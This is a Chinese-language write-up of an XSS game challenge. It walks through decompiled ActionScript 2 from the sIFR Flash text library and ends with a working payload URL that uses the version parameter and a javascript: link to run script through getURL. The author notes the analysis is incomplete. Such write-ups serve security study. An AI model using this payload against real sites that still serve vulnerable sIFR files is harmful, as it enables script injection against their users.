FLASH

游戏来源:http://sqler.win/xss/index.php


关键的几个地方

1.

  1. 构造函数中的setupEvents()
  2. 构造函数中的write(content)
  3. run函数中的_local4的改变
  4. run函数中的new sIFR(_local3.txtF, _local4)

2.利用点在setupEnents()

1
2
3
4
textField._parent.onRelease = function () {
sIFR.call("fireEvent", "onRelease");
getURL (sIFR.instance.primaryLink, sIFR.instance.primaryLinkTarget);
};


流程

开始

1
2
3
4
5
6
sIFR.setDefaultStyles();
callbackType = "";
callbackValue = "";
callbackTrigger = false;
Options.apply();
sIFR.run();

从上面可以看出实例化了一个sIFR对象之后,调用了setDefaultStylesrun函数,先找到sIFR的构造函数,这里给出关键的部分

1
2
3
4
5
6
7
this.textField = textField;
this.content = content;
primaryLink = unescapeUnicode(_root.link);
primaryLinkTarget = unescapeUnicode(_root.target);
...
setupEvents();
write(content);

接下跟到setupEvents函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function setupEvents() {
if ((_root.fixhover == "true") && (contentIsLink())) {
textField._parent.onRollOver = function () {
sIFR.call("fireEvent", "onRollOver");
};
textField._parent.onRollOut = function () {
sIFR.instance.fixHover();
sIFR.call("fireEvent", "onRollOut");
};
textField._parent.onRelease = function () {
sIFR.call("fireEvent", "onRelease");
getURL (sIFR.instance.primaryLink, sIFR.instance.primaryLinkTarget);
};
menu.customItems = menuItems;
} else {
if (_root.events == "true") {
textField._parent.onRollOver = function () {
sIFR.call("fireEvent", "onRollOver");
};
textField._parent.onRollOut = function () {
sIFR.call("fireEvent", "onRollOut");
};
textField._parent.onRelease = function () {
sIFR.call("fireEvent", "onRelease");
};
} else {
if (_root.cursor == "pointer") {
textField._parent.onRelease = function () {
};
} else {
delete textField._parent.onRelease;
}
delete textField._parent.onRollOver;
delete textField._parent.onRollOut;
}
menu.customItems = [];
}
}

漏洞利用点出现了,但是需要绕过if判断,看到contentIsLink

1
2
3
function contentIsLink() {
return((content.indexOf("<a ") == 0) && ((content.indexOf("<a ") == content.lastIndexOf("<a ")) && (content.indexOf("</a>") == (content.length - 4))));
}

可以传入a标签使得该函数返回true,但是这里并没有触发的条件,接下来需要找到传入参数的位置,看到write函数

1
2
3
function write(content) {
textField.htmlText = ["<p class=\"", CSS_ROOT_CLASS, "\">", content, "</p>"].join("");
}

这里的作用就是嵌入一个带有p标签的内容,接着看到run函数,这里给出关键的部分

1
2
3
4
if (_local5 && (_root.version != VERSION)) {
_local4 = VERSION_WARNING.split("%s").join(_root.version);
}
instance = new sIFR(_local3.txtF, _local4);

可以通过传递version参数来修改_local4的值,一旦_local4的值被修改,接着重新实例化sIFR对象,这时的primaryLink就会被修改,接着执行setupEvents(),同时通过a标签对contentIsLink的绕过,从而达到执行js代码的目的.
payload:

1
?arg01=version&link&arg02=<a href='javascript:alert(1)'>click</a>

上面的payload在测试的时候适当的进行urlencode.


Question

其实这个分析是不完整的,但是由于找不到ActionScript2的资料,故而只能做到这样,希望分析完全的大神能提供中间的具体流程…

As’Code:
链接: https://pan.baidu.com/s/1nvDg8jf 密码: fyaj

(ง •_•)ง